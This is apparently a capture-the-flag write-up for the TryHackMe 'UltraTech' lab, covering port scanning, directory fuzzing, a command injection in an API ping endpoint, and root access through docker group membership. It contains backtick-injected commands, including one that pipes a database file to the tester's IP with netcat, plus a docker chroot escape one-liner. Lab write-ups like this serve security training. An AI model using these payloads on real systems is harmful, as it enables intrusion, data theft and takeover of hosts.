THM: UltraTech
Intro⌗
UltraTech is a web hacking challenge that involves enumerating a corporate site and an API belonging to a fictional blockchain company to leak credentials via a command injection vulnerability. After we get a shell we’ll abuse the fact that our user is able to run docker to spawn a root shell.
Recon⌗
rustscan -a 10.10.202.15 -- -sC -sV -oA nmap1
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack vsftpd 3.0.3
22/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 dc:66:89:85:e7:05:c2:a5:da:7f:01:20:3a:13:fc:27 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDiFl7iswZsMnnI2RuX0ezMMVjUXFY1lJmZr3+H701ZA6nJUb2ymZyXusE/wuqL4BZ+x5gF2DLLRH7fdJkdebuuaMpQtQfEdsOMT+JakQgCDls38FH1jcrpGI3MY55eHcSilT/EsErmuvYv1s3Yvqds6xoxyvGgdptdqiaj4KFBNSDVneCSF/K7IQdbavM3Q7SgKchHJUHt6XO3gICmZmq8tSAdd2b2Ik/rYzpIiyMtfP3iWsyVgjR/q8oR08C2lFpPN8uSyIHkeH1py0aGl+V1E7j2yvVMIb4m3jGtLWH89iePTXmfLkin2feT6qAm7acdktZRJTjaJ8lEMFTHEijJ
| 256 c3:67:dd:26:fa:0c:56:92:f3:5b:a0:b3:8d:6d:20:ab (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLy2NkFfAZMY462Bf2wSIGzla3CDXwLNlGEpaCs1Uj55Psxk5Go/Y6Cw52NEljhi9fiXOOkIxpBEC8bOvEcNeNY=
| 256 11:9b:5a:d6:ff:2f:e4:49:d2:b5:17:36:0e:2f:1d:2f (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEipoohPz5HURhNfvE+WYz4Hc26k5ObMPnAQNoUDsge3
8081/tcp open http syn-ack Node.js Express framework
|_http-cors: HEAD GET POST PUT DELETE PATCH
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
31331/tcp open http syn-ack Apache httpd 2.4.29 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 15C1B7515662078EF4B5C724E2927A96
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: UltraTech - The best of technology (AI, FinTech, Big Data)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Enumeration⌗
On port 8081 we have an API built with Express, a Node.js framework
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/UltraTech]
└─$ curl -i http://10.10.145.82:8081
HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: text/html; charset=utf-8
Content-Length: 20
ETag: W/"14-tVlBr0s73mf41Pi7C/1PMqiyXRc"
Date: Mon, 07 Jun 2021 12:40:29 GMT
Connection: keep-alive
UltraTech API v0.1.3
We’ll want to fuzz this for endpoints later, but let’s check out what’s on 31331 first.
It’s a corporate site for UltraTech, a blockchain company. Let’s fuzz for content here. We’ll want to pay close attention to any javascript files we find as they may reveal API endpoints.
ffuf -t 80 -u http://10.10.202.15:31331/FUZZ -w /usr/share/wordlists/dirbustery/directory-list-2.3-medium.txt -c -ac
ffuf -t 80 -u http://10.10.202.15:31331/FUZZ -w /usr/share/wordlists/dirb/common.txt -c -ac
images [Status: 301, Size: 322, Words: 20, Lines: 10]
css [Status: 301, Size: 319, Words: 20, Lines: 10]
js [Status: 301, Size: 318, Words: 20, Lines: 10]
javascript [Status: 301, Size: 326, Words: 20, Lines: 10]
index.html [Status: 200, Size: 6092, Words: 393, Lines: 140]
robots.txt [Status: 200, Size: 53, Words: 4, Lines: 6]
In the /js
directory there is an api.js
that references /ping
and /auth
endpoints on the API.
(function() {
console.warn('Debugging ::');
function getAPIURL() {
return `${window.location.hostname}:8081`
}
function checkAPIStatus() {
const req = new XMLHttpRequest();
try {
const url = `http://${getAPIURL()}/ping?ip=${window.location.hostname}`
req.open('GET', url, true);
req.onload = function (e) {
if (req.readyState === 4) {
if (req.status === 200) {
console.log('The api seems to be running')
} else {
console.error(req.statusText);
}
}
};
req.onerror = function (e) {
console.error(xhr.statusText);
};
req.send(null);
}
catch (e) {
console.error(e)
console.log('API Error');
}
}
checkAPIStatus()
const interval = setInterval(checkAPIStatus, 10000);
const form = document.querySelector('form')
form.action = `http://${getAPIURL()}/auth`;
})();
From the code we see we can make a request to the ping endpoint, and it is executing the ping
command with the value of the IP address parameter.
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/UltraTech]
└─$ curl -i http://10.10.145.82:8081/ping?ip=10.10.145.82
HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: text/html; charset=utf-8
Content-Length: 263
ETag: W/"107-oGb1pBYhBZnXaJeqRwMPrx3+PL0"
Date: Mon, 07 Jun 2021 13:29:02 GMT
Connection: keep-alive
PING 10.10.145.82 (10.10.145.82) 56(84) bytes of data.
64 bytes from 10.10.145.82: icmp_seq=1 ttl=64 time=0.020 ms
--- 10.10.145.82 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.020/0.020/0.020/0.000 ms
This is a great spot to come back later and fuzz for command injection via the ip
parameter, but for now let’s keep enumerating.
In robots.txt
we’ll find a sitemap located at /utech_sitemap.txt
. It lists a few more files our content scans didn’t pick up:
/
/index.html
/what.html
/partners.html
There is a login form on /partners.html
and if we view the source, we’ll see it includes /js/api.js
. So this must be the form that uses the /auth
endpoint.
We could ty to brute force our way in but that should be a last resort. We can go back to the ping route and see if there actually is a command injection vulnerability. If so we may be able to find credentials by enumerating on the box.
We can use backticks to perform command substitution, allowing us to execute arbitrary commands on the server since the developers did not implement proper input filtering.
brian@thinkpad:~/lab/hacks/tryhackme/UltraTech$ curl -i http://10.10.202.15:8081/ping?ip=\`ls\`
HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: text/html; charset=utf-8
Content-Length: 49
ETag: W/"31-HlSQypQjJ8bvYzsasjt4yTZkt90"
Date: Mon, 07 Jun 2021 23:43:46 GMT
Connection: keep-alive
ping: utech.db.sqlite: Name or service not known
We found a database! Now we need a way to transfer it back to ourselves so we can dump the contents. We can run which nc
and see this box has netcat on it and we can use that to initiate a transfer.
-
Start a netcat listener and write the output to a file:
nc -nlvp 4444 > utech.db.sqlite
-
In another terminal window run:
curl -i http://10.10.202.15:8081/ping?ip=\`nc+-N+10.6.48.252+4444+\<+utech.db.sqlite\`
The -N
flag will close the connection after the file transfer completes. And finally we can dump the database:
┌──(brian㉿kali)-[~/…/hacks/tryhackme/UltraTech/loot]
└─$ sqlite3 utech.db.sqlite
SQLite version 3.34.1 2021-01-20 14:10:07
Enter ".help" for usage hints.
sqlite> .dump
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE users (
login Varchar,
password Varchar,
type Int
);
INSERT INTO users VALUES('admin','0d0ea[REDACTED]b9be84',0);
INSERT INTO users VALUES('r00t','f357a0[REDACTED]3a32',0);
COMMIT;
It contains 2 usernames and md5 hashes, and we can run the hashes through CrackStation to look up their cleartext values.
Now we can authenticate on the Api and find a message left by admin for r00t.
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/UltraTech]
└─$ curl -i http://10.10.202.15:8081/auth\?login=admin\&password=REDACTED
HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: text/html; charset=utf-8
Content-Length: 201
ETag: W/"c9-BxM4tj9E17EmK7ynp8UJSVDPSh4"
Date: Tue, 08 Jun 2021 00:51:05 GMT
Connection: keep-alive
<html>
<h1>Restricted area</h1>
<p>Hey r00t, can you please have a look at the server's configuration?<br/>
The intern did it and I don't really trust him.<br/>
Thanks!<br/><br/>
<i>lp1</i></p>
</html>
We can use the creds we found for r00t to SSH to the server and get a shell.
Privilege Escalation⌗
There isn’t a user flag on this box so now all we have left to do is escalate to a root shell. There is also no root flag, but for the root challenge we will grab the first 9 characters of root’s private key.
After running linpeas
to enumerate the box we’ll find an important clue: Docker socket file (/run/docker.socket) is writable
. This is because r00t is a member of the docker
group and can run docker.
docker images
will show us a list of the images available on the machine.
REPOSITORY TAG IMAGE ID CREATED SIZE
bash latest 495d6437fc1e 2 years ago 15.8MB
We have bash, and with that we can start a new docker container with the host’s filesystem mounted, effectively giving us a root shell.
root@0faf12e8f40d:~/.ssh# docker run -v /:/mnt --rm -it bash chroot /mnt sh
# id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)
# uname -a
Linux fbd5de1f2cbf 4.15.0-46-generic #49-Ubuntu SMP Wed Feb 6 09:33:07 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
# cd /root/.ssh
# wc -c id_rsa
1675 id_rsa